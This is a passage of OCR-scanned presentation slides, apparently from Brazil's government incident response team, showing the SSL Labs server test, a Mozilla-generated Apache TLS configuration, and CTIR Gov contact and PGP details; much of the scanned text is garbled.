This free oniine senvice performs  deep analysis of the configuration of any SSL web server on the public ntemet. Please note that the

information you submit here is used only to provide you the service. We don't use the domain names or the test results, and we never
will.

Hostname:  scanforsecurty.com Submit|

J

00 ot shaw e resuls on the bsars.

|

Recently Seon Recent Best Recent Worst
s ot on ) A R '
san ssstaceicon A wweniznn f
san ot o6 A e
e .6 MRS A e T
eisom 12 mamen asnetes a webseryces waoses com i

https://www.ssllabs.com/ssltest/

Mozilla SSL Configuration Generator

Apache odern Server Version 2.2.15 selecty
i termediate OpenSSL Version 1.0.1e server version
i HSTS Enabled

server OpenSSL version I

Which server is
this for? 7 N

Oldest compatible browsers
! for this configuration.
LEngine on

SSLCertificateFile /path/to/signed certificate

SSLCertificateChainFile /path/to/intermediate_certificate
SSLCertificateKeyFile /path/to/private/key

<VirtualHost *:443>

# Uncomment the following directive when using client certificate authentication

#SSLCACertificateFile /path/to/ca_certs_for_client_authentication
</VirtualHost>
# 4 iate nfiguration, tweak to your needs
SSLProtocol all -SSLv2 -SSLv3
SSLCipherSuite ECDHE-ECDSA-CHACHA20-POLY1305 : ECDHE-RSA-CHACHA20-POLY1305 : ECDHE—
B el o | L Ry SNV Y S W S BV Y Y L WV \ N P WL

https://mozilla.github.io/server-side-tls/ssl-config-generator/



https://mozilla.github.io/server-side-tls/ssl-config-generator/
https://mozilla.github.io/server-side-tls/ssl-config-generator/
https://mozilla.github.io/server-side-tls/ssl-config-generator/
https://mozilla.github.io/server-side-tls/ssl-config-generator/
https://mozilla.github.io/server-side-tls/ssl-config-generator/
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. Analista de Incidentes
https://www. ctir- gOV. br Sobreaviso: (61) 99995-7859
INOC-DBA: 10954*810
. . Para comunicagdo através de um canal seguro, por favor utilize a H H ia. A
Ctlr@Ctlr'gov'br seguinte chave PGP: cgtlr@pre5|deI:IC|a gov. br
. ~ . (assuntos diversos)
(notificacdo de incidentes) PGP Key ID: OXAFBEDFCF
Fingerprint: 1E57 8A38 4834 6F1B 76BB 98C4 953E EB94 AFBE DFCF
PGP Public Key : www.ctir.gov.br/arquivos/certificados/ctir2009.asc
e ETIR-GOV@listas.planalto.gov.br ) ) ) )
www 1.planalto.gov.br/mailman/listinfo/etir-gov www.linkedin.com/company/ctirgov/ @ @CtirGov
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Interacao

Conhecendo a ETIR
https://www.questionpro.com/t/AOf3rZckz5

Avaliacao do Evento
https://www.questionpro.com/a/TakeSurvey?tt=wCfEMca30%2BQ%3D
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